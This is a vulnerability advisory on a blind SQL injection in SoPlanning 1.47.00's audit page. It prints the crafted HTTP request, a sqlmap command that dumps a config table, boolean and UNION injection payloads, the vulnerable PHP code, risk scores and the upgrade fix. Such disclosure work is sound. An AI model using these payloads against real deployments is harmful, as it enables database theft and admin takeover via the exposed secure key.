Boolean-based Blind SQL Injection – SoPlanning

Researchers:

Nour Alomary

Background

SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields.

As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability.
Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems.

SQL Injection is a common vulnerability and is often the root cause of major data breaches.

Details
SoPlanning version 1.47.00 was vulnerable to a boolean-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database, including configuration data as well as user hashes.

The following was the request made to the Audit page:

				
					POST /soplanning/www/audit.php HTTP/1.1
Host: 192.168.0.88 
Content-Length: 92 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Origin: http://192.168.0.88 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/audit.php 
Accept-Encoding: gzip, deflate 
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 
Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D 
Connection: close 

filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1
				
			

Figure 1 highlighted the vulnerable parameter location in the Audit page.

Figure 1 – Audit Vulnerable SQLi Parameter

SQLMAP was used to automate this attack as shown below:

				
					$ python sqlmap.py -r auditRequest.txt --proxy="http://127.0.0.1:8080" --dbms=mysql --method=POST -p"projet_test1" --level=5 --risk=3 -D soplanning -T planning_config --dump 
[...]
--- 
Parameter: projet_test1 (POST) 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') AND 1720=1720-- oMkq 
    
    Type: UNION query 
    Title: Generic UNION query (NULL) - 26 columns 
    Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171716b71,0x696b52715a6f4773796e6c4352695263737a6a7157485167537346587341746e6948786577697966,0x7170767671),NULL-- -
    ---
[17:03:50] [INFO] testing MySQL 
[17:03:51] [INFO] confirming MySQL 
[17:03:51] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 8.0.0 
[17:03:53] [INFO] fetching entries for table 'planning_config' in database 'soplanning' 
[17:03:54] [INFO] recognized possible password hashes in column 'valeur' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] n 
Database: soplanning 
Table: planning_config
[65 entries]
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ 
| cle           | valeur            | commentaire |
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ |
CONTACT_FORM_DEACTIVATE             | <blank> 
| Put 1 to deactivate the display of the small button/popin (contact form) | 
| CURRENT _VERSION           | 1.47.00 
| [...]</blank>
				
			

The highlighted parts demonstrate that:

⎯ The backend was MySQL >= 8.0.0, PHP 7.4.9 and Apache 2.4.46; and
⎯ Listed the column names for the “planning_config” table in the “soplanning” database as well as the data stored in the table, such as the ‘CURRENT_VERSION’ row.

This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning.

The following snippet contained the vulnerable SQL query in the ‘audit.php’ file constructed using untrusted user-controlled input:

				
					$sql = "SELECT pa.*, pu.nom as modif_nom, pu2.nom as user_nom, pp.nom as projet_nom, pl.nom as lieu_nom, pr.nom as ressource_nom, ps.nom as status_nom, pe.nom as equipe_nom, pg.nom as groupe_nom, ppe.date_debut, pu3.nom as periode_user_nom 
        FROM planning_audit as pa 
        LEFT JOIN planning_user as pu ON pu.user_id = pa.user_modif
        LEFT JOIN planning_user as pu2 ON pu2.user_id = pa.user_id
        LEFT JOIN planning_projet as pp ON pp.projet_id = pa.projet_id
        LEFT JOIN planning_lieu as pl ON pl.lieu_id = pa.lieu_id
        LEFT JOIN planning_ressource as pr ON pr.ressource_id = pa.ressource_id 
        LEFT JOIN planning_status as ps ON ps.status_id = pa.lieu_id 
        LEFT JOIN planning_periode as ppe ON ppe.periode_id = pa.periode_id 
        LEFT JOIN planning_user as pu3 ON pu3.user_id = ppe.user_id 
        LEFT JOIN planning_user_groupe as pe ON pe.user_groupe_id = pa.equipe_id 
        LEFT JOIN planning_groupe as pg ON pg.groupe_id = pa.groupe_id WHERE 1=1"; 
    if(count($_SESSION['filtreUserAudit']) > 0) { $sql.= " AND pa.user_modif IN ('" . implode("','",
$_SESSION['filtreUserAudit']) . "')"; 
    }
    if(count($_SESSION['filtreGroupeProjetAudit']) > 0) { $sql.= " AND pa.projet_id IN ('" . implode("','",
$_SESSION['filtreGroupeProjetAudit']) . "')";
}
				
			

Users with access to view the audit functionality would be able to exploit this vulnerability to extract data from the database thus compromising the confidentiality of the data stored by the application.

In addition to this, the attacker can gain access to the SECURE_KEY, which would allow them to issue password reset requests for other user accounts, in doing so, they would be able to elevate their access level to that of an administrator.

Risk Analysis
Risk Category: High
CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F
CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected item

SOPlannning version 1.47 and lower

Recommendation

Update to SOPlannning Version 1.48

How can we support you?

Contact our team today to find out how we can help support your organization.